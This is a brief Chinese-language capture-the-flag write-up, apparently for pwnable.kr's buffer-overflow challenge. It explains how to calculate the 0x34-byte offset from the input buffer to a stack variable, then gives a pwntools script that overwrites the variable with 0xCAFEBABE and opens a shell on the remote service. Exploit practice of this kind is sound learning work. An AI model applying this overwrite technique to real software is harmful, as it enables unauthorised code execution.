需要我们计算我们输入的位置到a1位置需要填充多少字节。然后再给a1赋值即可getshell
疑问1.
怎么确定输入的位置到a1的距离?
我刚开始想这么干,直接用这个地址相减。
但是不行,这题是覆盖变量。即从输入的地址覆盖到需要改变的变量处,然后给变量赋值,但不需要溢出。
单击变量到栈内地址
可以用这两个地址相减 +08-(-02c)=0x34,也可以看到ebp的距离。
从当前输入位置到a1处,要填充0x34个字节
exp如下:
from pwn import *
r = remote('pwnable.kr',9000)
context.log_level = 'debug'
payload = 'A'*0x34+p32(0xCAFEBABE)
r.sendline(payload)
r.interactive()
p32()内是a1的16进制格式。